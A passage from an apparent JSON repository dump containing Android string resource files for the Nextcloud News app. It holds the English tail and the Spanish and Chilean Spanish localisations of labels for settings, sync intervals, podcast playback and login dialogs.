name=\"pref_news_policy_summary\">Nextcloud News Android News Policy / Contact Us</string>\n    <string name=\"pref_version\">Nextcloud News Android app</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Display</string>\n    <string name=\"pref_title_app_theme\">Theme</string>\n    <string name=\"pref_title_feed_list_layout\">Feed list layout</string>\n    <string name=\"pref_title_font_size\">Font size</string>\n    <string name=\"pref_display_browser\">Browser</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Action icons (Detail View)</string>\n\n    <string name=\"pref_display_apptheme_auto\">System Default</string>\n    <string name=\"pref_display_apptheme_light\">Light</string>\n    <string name=\"pref_display_apptheme_dark\">Dark</string>\n\n    <string name=\"pref_oled_mode\">Black background</string>\n    <string name=\"pref_oled_mode_summary\">For dark theme on OLED screens</string>\n\n    <string name=\"pref_detailed_view_zoom\">Detailed view zoom</string>\n    <string name=\"pref_detailed_view_zoom_summary\">Enable zooming the content in the detailed view</string>\n\n    <string name=\"pref_external_player\">External Player</string>\n    <string name=\"pref_external_player_summary\">Play podcasts in your default media app</string>\n\n    <string name=\"pref_display_browser_cct\">Built-in Chrome-Custom-Tabs</string>\n    <string name=\"pref_display_browser_built_in\">Built-in Browser</string>\n    <string name=\"pref_display_browser_external\">External Browser</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">Thumbnails (only Headlines)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">Thumbnails</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">Simple text</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">Headlines</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">Full text</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Web layout</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">Card view</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">Small</string>\n    <string name=\"pref_display_font_size_d\">Default</string>\n    <string name=\"pref_display_font_size_l\">Large</string>\n    <string name=\"pref_display_font_size_xl\">Extra Large</string>\n\n    <string name=\"content_desc_play\">Play</string>\n    <string name=\"content_desc_pause\">Pause</string>\n    <string name=\"content_desc_playback_speed\">Playback speed</string>\n    <string name=\"content_desc_rewind\">Rewind</string>\n    <string name=\"content_desc_forward\">Forward</string>\n    <string name=\"content_desc_expand\">Expand</string>\n    <string name=\"content_desc_collapse\">Collapse</string>\n    <string name=\"content_desc_mark_as_read\">Mark as read</string>\n    <string name=\"content_desc_mark_as_unread\">Mark as unread</string>\n    <string name=\"content_desc_tap_to_refresh\">Tap to refresh</string>\n    <string name=\"content_desc_add_to_favorites\">Add to favourites</string>\n    <string name=\"content_desc_remove_from_favorites\">Remove from favourites</string>\n    <string name=\"content_desc_show_password\">Show password</string>\n    <string name=\"content_desc_delete\">Delete</string>\n    <string name=\"content_desc_download\">Download</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Error</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">It looks like your news app is not installed or activated on your server. Please follow the instructions given here to setup the news app on your server first: %1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Something went wrong :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">The Web News App returned Version \\\"0\\\". Please take a look at the following bug report: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">This App version is not compatible with your Nextcloud News App. Please upgrade the news app and the appframework.</string>\n    <string name=\"login_dialog_title_security_warning\">Security Warning</string>\n    <string name=\"login_dialog_text_security_warning\">You\\'re not using HTTPS, which is strongly encouraged. An attacker could intercept your traffic and gain access to some sensitive data (e.g. your password).</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">Something went wrong. Please try again.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Data &amp; sync</string>\n    <string name=\"pref_title_clearCache\">Clear cache</string>\n    <string name=\"pref_title_CacheImagesOffline\">Cache images offline</string>\n    <string name=\"pref_title_Max_Cache_Size\">Max Cache Size</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Never</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Over WiFi only</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Over WiFi &amp; Mobile</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Ask when not connected to WiFi</string>\n\n    <string name=\"array_sync_interval_min_0\">Never</string>\n    <string name=\"array_sync_interval_min_5\">5 minutes</string>\n    <string name=\"array_sync_interval_min_15\">15 minutes</string>\n    <string name=\"array_sync_interval_min_30\">30 minutes</string>\n    <string name=\"array_sync_interval_min_45\">45 minutes</string>\n    <string name=\"array_sync_interval_hour_1\">1 hour</string>\n    <string name=\"array_sync_interval_hour_2\">2 hours</string>\n    <string name=\"array_sync_interval_hour_3\">3 hours</string>\n    <string name=\"array_sync_interval_hour_6\">6 hours</string>\n    <string name=\"array_sync_interval_hour_12\">12 hours</string>\n    <string name=\"array_sync_interval_hour_24\">24 hours</string>\n    <string name=\"switch_account\">Switch account</string>\n    \n    <string name=\"successfully_exported\">Successfully exported to:</string>\n    <string name=\"opml_export\">OPML Export</string>\n    <string name=\"parsing_opml\">Parsing OPML</string>\n    <string name=\"please_wait\">Please wait …</string>\n    <string name=\"interval_sync_title\">Interval Sync</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-es/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Autosincronizar</string>\n    <string name=\"title_activity_sync_interval_selector\">Intervalo de sincronización</string>\n    <string name=\"empty_view_content\">No hay artículos aquí</string>\n    <string name=\"empty_view_content_action\">Arrastra hacia abajo para recargar</string>\n    <string name=\"toast_GettingMoreItems\">Ha empezado la descarga de más elementos. Por favor, espere …</string>\n    <string name=\"no_wifi_available\">No hay una conexión WiFi</string>\n    <string name=\"do_you_want_to_download_without_wifi\">¿Quiere descargar las imágenes sin conexión WiFi?</string>\n    <string name=\"current_version\">Está utilizando la versión %s</string>\n    <string name=\"widget_header\">Noticias de Nextcloud</string>\n    <string name=\"message_bar_scroll_top\">Recargar y desplazarse hacia arriba</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d nuevo elemento disponible</item>\n        <item quantity=\"many\">%d nuevos elementos disponibles</item>\n        <item quantity=\"other\">%d nuevos elementos disponibles</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Recargar</string>\n    <string name=\"allUnreadFeeds\">Todos los artículos sin leer</string>\n    <string name=\"starredFeeds\">Artículos destacados</string>\n    <string name=\"downloadedPodcasts\">Podcasts descargados</string>\n    <string name=\"title_activity_new_feed\">Añadir nueva fuente</string>\n\n    <string name=\"menu_update\">Actualizar</string>\n    <string name=\"menu_markAllAsRead\">Marcar todo como leído</string>\n    <string name=\"menu_StartImageCaching\">Descargar imágenes</string>\n    <string name=\"menu_downloadMoreItems\">Descargar más artículos</string>\n\n    <string name=\"tv_showing_cached_version\">Mostrando versión en caché</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Destacado</string>\n    <string name=\"action_read\">Leído</string>\n    <string name=\"action_playPodacst\">Reproducir podcast</string>\n    <string name=\"action_removePodcast\">Quitar medios de Pódcast</string>\n    <string name=\"action_openInBrowser\">Abrir en el navegador</string>\n    <string name=\"action_Share\">Compartir</string>\n    <string name=\"action_login\">Ajustes del servidor</string>\n    <string name=\"action_save\">Guardar</string>\n    <string name=\"action_settings\">Ajustes</string>\n    <string name=\"action_sync_settings\">Ajustes de sincronización</string>\n    <string name=\"action_add_new_feed\">Añadir nueva fuente</string>\n    <string name=\"action_add_new_folder\">Añadir carpeta nueva</string>\n    <string name=\"action_textToSpeech\">Recopilar información</string>\n    <string name=\"action_search\">Buscar</string>\n    <string name=\"action_download_articles_offline\">Descargar los artículos sin conexión</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">Descargar los artículos para uso sin conexión</string>\n    <string name=\"notification_download_images_offline\">Descargar las imágenes para uso sin conexión</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Tiene %d elemento nuevo sin leer</item>\n        <item quantity=\"many\">Tiene %d elementos nuevos sin leer</item>\n        <item quantity=\"other\">Tiene %d elementos nuevos sin leer</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d elementos nuevos sin leer</item>\n        <item quantity=\"many\">%d elementos nuevos sin leer</item>\n        <item quantity=\"other\">%d elementos nuevos sin leer</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">URL para el canal</string>\n    <string name=\"action_add_feed\">Añadir canal</string>\n    <string name=\"import_opml\">Importar OPML</string>\n    <string name=\"export_opml\">Exportar OPML</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Descargar imagen</string>\n    <string name=\"action_img_sharelink\">Compartir enlace de imagen</string>\n    <string name=\"action_img_open\">Abrir imagen en el navegador de internet</string>\n    <string name=\"action_img_copylink\">Copiar enlace de la imagen</string>\n    <string name=\"action_link_share\">Compartir enlace</string>\n    <string name=\"action_link_open\">Abrir enlace en el navegador</string>\n    <string name=\"action_link_copy\">Copiar enlace</string>\n    <string name=\"toast_img_download_wait\">Descargando. Por favor espere</string>\n    <string name=\"toast_img_saved\">Imagen guardada</string>\n    <string name=\"toast_img_notwriteable\">Error al guardar la imagen.</string>\n    <string name=\"toast_copied_to_clipboard\">Copiado al portapapeles</string>\n    <string name=\"error_download_failed\">Fallo al descargar</string>\n    <string name=\"intent_title_share\">Compartir vía</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Eliminar fuente</string>\n    <string name=\"action_feed_rename\">Renombrar Fuente</string>\n    <string name=\"action_feed_move\">Mover fuente</string>\n    <string name=\"action_feed_notification_settings\">Configuraciones de notificación</string>\n    <string name=\"action_feed_open_in\">Abrir en ajustes</string>\n    <string name=\"action_feed_open_in_general_setting\">Utilizar ajuste general</string>\n    <string name=\"action_feed_open_in_detailed_view\">Vista detallada</string>\n    <string name=\"feed_remove_button\">Eliminar</string>\n    <string name=\"feed_rename_button\">Renombrar</string>\n    <string name=\"confirm_feed_remove\">¿Realmente desea eliminar esta Fuente? ¡Esto no se puede deshacer!</string>\n    <string name=\"feed_move_list_description\">Selecciona la carpeta a la que mover la fuente</string>\n    <string name=\"move_feed_root_folder\">Carpeta raíz</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">Eliminar carpeta</string>\n    <string name=\"action_folder_rename\">Renombrar carpeta</string>\n    <string name=\"folder_remove_button\">Eliminar</string>\n    <string name=\"folder_rename_button\">Renombrar</string>\n    <string name=\"confirm_folder_remove\">¿Seguro que quiere eliminar esta carpeta?, ¡Esto no se puede deshacer!.</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">Recibir notificaciones únicas para esta fuente</string>\n    <string name=\"notification_feed_default\">Todas las fuentes con los ajustes por defecto aparecerán en una notificación</string>\n    <string name=\"notification_feed_none\">Ninguna notificación</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Añadir</string>\n    <string name=\"hint_folder_name\">Nombre de la carpeta</string>\n    <string name=\"folder_already_exists\">La carpeta ya existe</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">Inicio de sesión manual</string>\n    <string name=\"login_sso\">Inicio de sesión usando la app de Archivos de Nextcloud</string>\n    <string name=\"pref_title_username\">Nombre de usuario</string>\n    <string name=\"pref_title_password\">Contraseña</string>\n    <string name=\"pref_title_owncloudRootPath\">Dirección de la raíz de Nextcloud</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Iniciar sesión</string>\n    <string name=\"login_progress_signing_in\">Registrándose …</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Este campo es necesario</string>\n    <string name=\"error_invalid_url\">URL incorrecta</string>\n\n    <!--Snackbar Messages -->\n    <plurals name=\"marked_as_read_message\">\n        <item quantity=\"one\">Se marcó %d ítem como leído</item>\n        <item quantity=\"many\">Se marcaron %d ítems como leídos</item>\n        <item quantity=\"other\">Se marcaron %d ítems como leídos</item>\n    </plurals>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">Se ha descargado %d elemento antiguo</item>\n        <item quantity=\"many\">Se han descargado %d elementos antiguos</item>\n        <item quantity=\"other\">Se han descargado %d elementos antiguos</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">No hay elementos disponibles</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"one\">Recuperado %d ítem hasta ahora…</item>\n        <item quantity=\"many\">Recuperados %d ítems hasta ahora…</item>\n        <item quantity=\"other\">Recuperados %d ítems hasta ahora…</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Ajustes</string>\n    <string name=\"cache_is_cleared\">¡La caché está vacía!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">General</string>\n    <string name=\"pref_title_general_sort_order\">Ordenar</string>\n\n    <string name=\"pref_general_sort_order_new_old\">Nuevo → Antiguo</string>\n    <string name=\"pref_general_sort_order_old_new\">Antiguo → Nuevo</string>\n\n    <string name=\"pref_rename_action_swipe_right\">Acción al deslizar a la derecha</string>\n    <string name=\"pref_rename_action_swipe_left\">Acción al deslizar a la izquierda</string>\n\n    <string name=\"pref_title_general_search_in\">Buscar en</string>\n\n    <string name=\"pref_general_search_in_title\">Título</string>\n    <string name=\"pref_general_search_in_body\">Cuerpo</string>\n    <string name=\"pref_general_search_in_both\">Ambos</string>\n\n    <string name=\"dialog_clearing_cache\">Vaciando el caché</string>\n    <string name=\"dialog_clearing_cache_please_wait\">Limpiando caché. Por favor, espere …</string>\n    <string name=\"reset_cache_unsaved_changes\">Hay cambios no sincronizados. ¿Quiere vaciar la caché igualmente?</string>\n    <string name=\"warning\">Precaución</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Sincronizar al inicio</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Mostrar sólo artículos no leídos</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Deshabilitar verificación del hostname</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Navegar con los botones de volumen</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Marcar como leído mientras se desplaza</string>\n    <string name=\"pref_title_SyncWhenScrolledToBottom\">Sincronizar cuando se desplace hacia abajo</string>\n    <string name=\"pref_title_ShowFastActions\">Activar funciones de acceso rápido</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Saltarse la vista detallada y abrir el artículo en el navegador</string>\n    <string name=\"pref_title_BackButtonOpensDrawer\">Botón de retroceso abre el cajón</string>\n\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">¿Aceptar certificado desconocido?</string>\n    <string name=\"mtm_decision_always\">Siempre</string>\n    <string name=\"mtm_decision_abort\">Cancelar</string>\n    <string name=\"mtm_notification\">Verificación del certificado</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">Ningún podcast seleccionado</string>\n    <string name=\"no_chapters_available\">No hay capítulos disponibles</string>\n    <string name=\"exit_playback\">Salir del reproductor</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Velocidad de reproducción</string>\n    <string name=\"notification_downloading_podcast_title\">Descargando podcast</string>\n    <string name=\"dialog_podcast_remove_title\">¿Está seguro?</string>\n    <string name=\"dialog_podcast_remove_body\">¿Desea eliminar los medios descargados para %1$s?</string>\n    <string name=\"dialog_podcast_status_failed\">Fallo al quitar medios para %1$s</string>\n    <string name=\"dialog_podcast_status_success\">Los medios para %1$s se han quitado</string>\n    <string name=\"dialog_podcast_remove_confirm\">Quitar</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Acerca de</string>\n    <string name=\"pref_license\">Licencia</string>\n    <string name=\"pref_license_summary\">GNU Affero General Public License (AGPL) versión 3</string>\n    <string name=\"pref_report_issue\">Informar de un error</string>\n    <string name=\"pref_report_issue_summary\">Requiere una cuenta (gratuita) de GitHub</string>\n    <string name=\"pref_contribute\">¡Contribuye!</string>\n    <string name=\"pref_contribute_summary\">Consigue el código fuente</string>\n    <string name=\"pref_privacy\">Privacidad</string>\n    <string name=\"pref_privacy_summary\">Política de privacidad para Android Noticias de Nextcloud</string>\n    <string name=\"pref_news_policy\">Contáctenos / Política de noticias</string>\n    <string name=\"pref_news_policy_summary\">Nextcloud Noticias, Política de Noticias de Android / Contáctenos</string>\n    <string name=\"pref_version\">App Android para Noticias de Nextcloud</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Mostrar</string>\n    <string name=\"pref_title_app_theme\">Tema</string>\n    <string name=\"pref_title_feed_list_layout\">Lista de fuentes</string>\n    <string name=\"pref_title_font_size\">Tamaño del texto</string>\n    <string name=\"pref_display_browser\">Explorador</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Iconos de acción (vista detallada)</string>\n\n    <string name=\"pref_display_apptheme_auto\">Predeterminado del sistema</string>\n    <string name=\"pref_display_apptheme_light\">Claro</string>\n    <string name=\"pref_display_apptheme_dark\">Oscuro</string>\n\n    <string name=\"pref_oled_mode\">Fondo oscuro</string>\n    <string name=\"pref_oled_mode_summary\">Para el tema oscuro en las pantallas OLED</string>\n\n    <string name=\"pref_detailed_view_zoom\">Vista de zoom detallada</string>\n    <string name=\"pref_detailed_view_zoom_summary\">Activar zoom del contenido en la vista detallada</string>\n\n    <string name=\"pref_external_player\">Reproductor Externo</string>\n    <string name=\"pref_external_player_summary\">Reproducir Podcasts en su app de medios por defecto</string>\n\n    <string name=\"pref_display_browser_cct\">Pestañas integradas de Chrome</string>\n    <string name=\"pref_display_browser_built_in\">Navegador integrado</string>\n    <string name=\"pref_display_browser_external\">Navegador externo</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">Miniaturas (sólo títulos)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">Miniaturas</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">Texto sencillo</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">Títulos</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">Texto completo</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Disposición web</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">Vista de tarjetas</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">Pequeño</string>\n    <string name=\"pref_display_font_size_d\">Por defecto</string>\n    <string name=\"pref_display_font_size_l\">Grande</string>\n    <string name=\"pref_display_font_size_xl\">Muy grande</string>\n\n    <string name=\"content_desc_play\">Reproducir</string>\n    <string name=\"content_desc_pause\">Pausar</string>\n    <string name=\"content_desc_playback_speed\">Velocidad de reproducción</string>\n    <string name=\"content_desc_rewind\">Retroceder</string>\n    <string name=\"content_desc_forward\">Adelantar</string>\n    <string name=\"content_desc_expand\">Expandir</string>\n    <string name=\"content_desc_collapse\">Colapsar</string>\n    <string name=\"content_desc_mark_as_read\">Marcar como leído</string>\n    <string name=\"content_desc_mark_as_unread\">Marcar como no leído</string>\n    <string name=\"content_desc_tap_to_refresh\">Toque para refrescar</string>\n    <string name=\"content_desc_add_to_favorites\">Añadir a favoritos</string>\n    <string name=\"content_desc_remove_from_favorites\">Eliminar de favoritos</string>\n    <string name=\"content_desc_show_password\">Mostrar contraseña</string>\n    <string name=\"content_desc_delete\">Eliminar</string>\n    <string name=\"content_desc_download\">Descargar</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Error</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">Parece que tu aplicación de noticias no está instalada o activada en tu servidor. Siga las instrucciones para configurar la aplicación de noticias en tu servidor: %1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Algo salió mal :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">La app web de Noticias devolvió la versión \\\"0\\\". Por favor, echa un vistazo al siguiente informe de error: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">Esta versión de la aplicación no es compatible con tu aplicación de Noticias de Nextcloud. Por favor, actualiza la aplicación de noticias y el appframework.</string>\n    <string name=\"login_dialog_title_security_warning\">Advertencia de seguridad</string>\n    <string name=\"login_dialog_text_security_warning\">No está usando HTTPS. Un atacante podría interceptar tu tráfico y obtener acceso a algún dato sensible (p. ej., tu contraseña).</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">Algo no funcionó correctamente. Por favor, intente de nuevo.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Datos &amp; sincronización</string>\n    <string name=\"pref_title_clearCache\">Vaciar caché</string>\n    <string name=\"pref_title_CacheImagesOffline\">Cachear imágenes offline</string>\n    <string name=\"pref_title_Max_Cache_Size\">Tamaño máximo de la caché</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Nunca</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Sólo mediante WiFi</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Sobre WiFi &amp; Móvil.</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Preguntar cuando no esté conectado a una WiFi</string>\n\n    <string name=\"array_sync_interval_min_0\">Nunca</string>\n    <string name=\"array_sync_interval_min_5\">5 minutos</string>\n    <string name=\"array_sync_interval_min_15\">15 minutos</string>\n    <string name=\"array_sync_interval_min_30\">30 minutos</string>\n    <string name=\"array_sync_interval_min_45\">45 minutos</string>\n    <string name=\"array_sync_interval_hour_1\">1 hora</string>\n    <string name=\"array_sync_interval_hour_2\">2 horas</string>\n    <string name=\"array_sync_interval_hour_3\">3 horas</string>\n    <string name=\"array_sync_interval_hour_6\">6 horas</string>\n    <string name=\"array_sync_interval_hour_12\">12 horas</string>\n    <string name=\"array_sync_interval_hour_24\">24 horas</string>\n    <string name=\"switch_account\">Cambiar cuenta</string>\n    \n    <string name=\"successfully_exported\">Exportado con éxito a:</string>\n    <string name=\"opml_export\">Exportar OPML</string>\n    <string name=\"parsing_opml\">Procesando OPML</string>\n    <string name=\"please_wait\">Por favor, espere …</string>\n    <string name=\"interval_sync_title\">Intervalo Sync</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-es-rCL/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Sincronización automática</string>\n    <string name=\"empty_view_content\">Aquí no hay elementos</string>\n    <string name=\"empty_view_content_action\">Jala hacia abajo para actualizar</string>\n    <string name=\"no_wifi_available\">No estás conectado a una WiFi</string>\n    <string name=\"current_version\">Estás usando la Versión %s</string>\n    <string name=\"widget_header\">Noticias de Nextcloud</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d elemento nuevo disponible</item>\n        <item quantity=\"many\">%d elementos nuevos disponibles</item>\n        <item quantity=\"other\">%d elementos nuevos disponibles</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Volver a cargar</string>\n    <string name=\"allUnreadFeeds\">Todos los elementos sin leer</string>\n    <string name=\"starredFeeds\">Elementos marcados</string>\n    <string name=\"title_activity_new_feed\">Agregar una nueva fuente</string>\n\n    <string name=\"menu_update\">Actualizar</string>\n    <string name=\"menu_markAllAsRead\">Marcar todos como leídos</string>\n    <string name=\"menu_StartImageCaching\">Descargar imágenes</string>\n    <string name=\"menu_downloadMoreItems\">Descargar más artículos</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Marcado como favorito</string>\n    <string name=\"action_read\">Leer</string>\n    <string name=\"action_playPodacst\">Reproducir Podcast</string>\n    <string name=\"action_openInBrowser\">Abrir en el navegador</string>\n    <string name=\"action_Share\">Compartir</string>\n    <string name=\"action_login\">Configuraciones del Servidor</string>\n    <string name=\"action_save\">Guardar</string>\n    <string name=\"action_settings\">Configuraciones</string>\n    <string name=\"action_sync_settings\">Configuración de Sincronización</string>\n    <string name=\"action_add_new_feed\">Agregar una nueva fuente</string>\n    <string name=\"action_textToSpeech\">Lectura</string>\n    <string name=\"action_search\">Buscar</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Tienes %d elemento nuevo sin leer</item>\n        <item quantity=\"many\">Tienes %d elmentos nuevos sin leer</item>\n        <item quantity=\"other\">Tienes %d elmentos nuevos sin leer</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d elemento nuevo no leído disponible</item>\n        <item quantity=\"many\">%d elementos nuevos no leídos disponibles</item>\n        <item quantity=\"other\">%d elementos nuevos no leídos disponibles</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">URL de la Fuente</string>\n    <string name=\"action_add_feed\">Agregar fuente</string>\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Descargar Imagen</string>\n    <string name=\"action_img_sharelink\">Compartir Liga de la Imagen</string>\n    <string name=\"action_img_open\">Abrir Imagen en el Navegador</string>\n    <string name=\"action_img_copylink\">Copiar la Liga de la Imagen</string>\n    <string name=\"action_link_share\">Compartir Liga</string>\n    <string name=\"action_link_open\">Abrir la Liga en el Navegador</string>\n    <string name=\"action_link_copy\">Copiar Liga</string>\n    <string name=\"toast_img_saved\">Imagen guardada</string>\n    <string name=\"toast_img_notwriteable\">Falla al escribir la Imagen.</string>\n    <string name=\"toast_copied_to_clipboard\">Copiado al portapapeles</string>\n    <string name=\"error_download_failed\">La descarga falló</string>\n    <string name=\"intent_title_share\">Compartir vía</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Eliminar Fuente</string>\n    <string name=\"action_feed_rename\">Renombrar la Fuente</string>\n    <string name=\"feed_remove_button\">Eliminar</string>\n    <string name=\"feed_rename_button\">Renombrar</string>\n    <string name=\"confirm_feed_remove\">¿Realmente deseas eliminar esta Fuente? ¡Esta operación no se puede deshacer!</string>\n    <string name=\"folder_remove_button\">Eliminar</string>\n    <string name=\"folder_rename_button\">Renombrar</string>\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Agregar</string>\n    <string name=\"hint_folder_name\">Nombre de la carpeta</string>\n    <string name=\"pref_title_username\">Nombre de usuario</string>\n    <string name=\"pref_title_password\">Contraseña</string>\n    <string name=\"pref_title_owncloudRootPath\">Dirección raíz de Nextcloud</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Iniciar sesión</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Este es un campo requerido</string>\n    <string name=\"error_invalid_url\">URL incorrecta</string>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">%d elemento antiguo descargado</item>\n        <item quantity=\"many\">%d elementos antiguos descargados</item>\n        <item quantity=\"other\">%d elementos antiguos descargados</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">No hay más elementos disponibles</string>\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Configuraciones</string>\n    <string name=\"cache_is_cleared\">¡Se ha limpiado el caché!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">General</string>\n    <string name=\"pref_title_general_sort_order\">Cirterio para ordenar</string>\n\n    <string name=\"pref_general_search_in_title\">Título</string>\n    <string name=\"dialog_clearing_cache\">Limpiando el caché</string>\n    <string name=\"reset_cache_unsaved_changes\">Hay cambios que no han sido sincronizados. ¿Quieres limpiar el caché de cualquier modo?</string>\n    <string name=\"warning\">Advertencia</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Sincronizar al iniciar</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Mostrar sólo los artículos no leídos</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Deshabilitar la verificación del hostname</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Navegar con los botones de volumen</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Marcar como leído al desplazar</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Omitir la vista detallada y abrir el artículo en el navegador</string>\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">¿Aceptar certificados desconocidos?</string>\n    <string name=\"mtm_decision_always\">Siempre</string>\n    <string name=\"mtm_decision_abort\">Abortar</string>\n    <string name=\"mtm_notification\">Verificación del certificado</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">No se ha seleccionado algún podcast</string>\n    <string name=\"no_chapters_available\">No hay capítulos disponibles</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Velocidad de Reproducción</string>\n    <string name=\"dialog_podcast_remove_title\">¿Está seguro?</string>\n    <string name=\"dialog_podcast_remove_confirm\">Remover</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Acerca de</string>\n    <string name=\"pref_license\">Licencia</string>\n    <string name=\"pref_privacy\">Privacidad</string>\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Mostrar</string>\n    <string 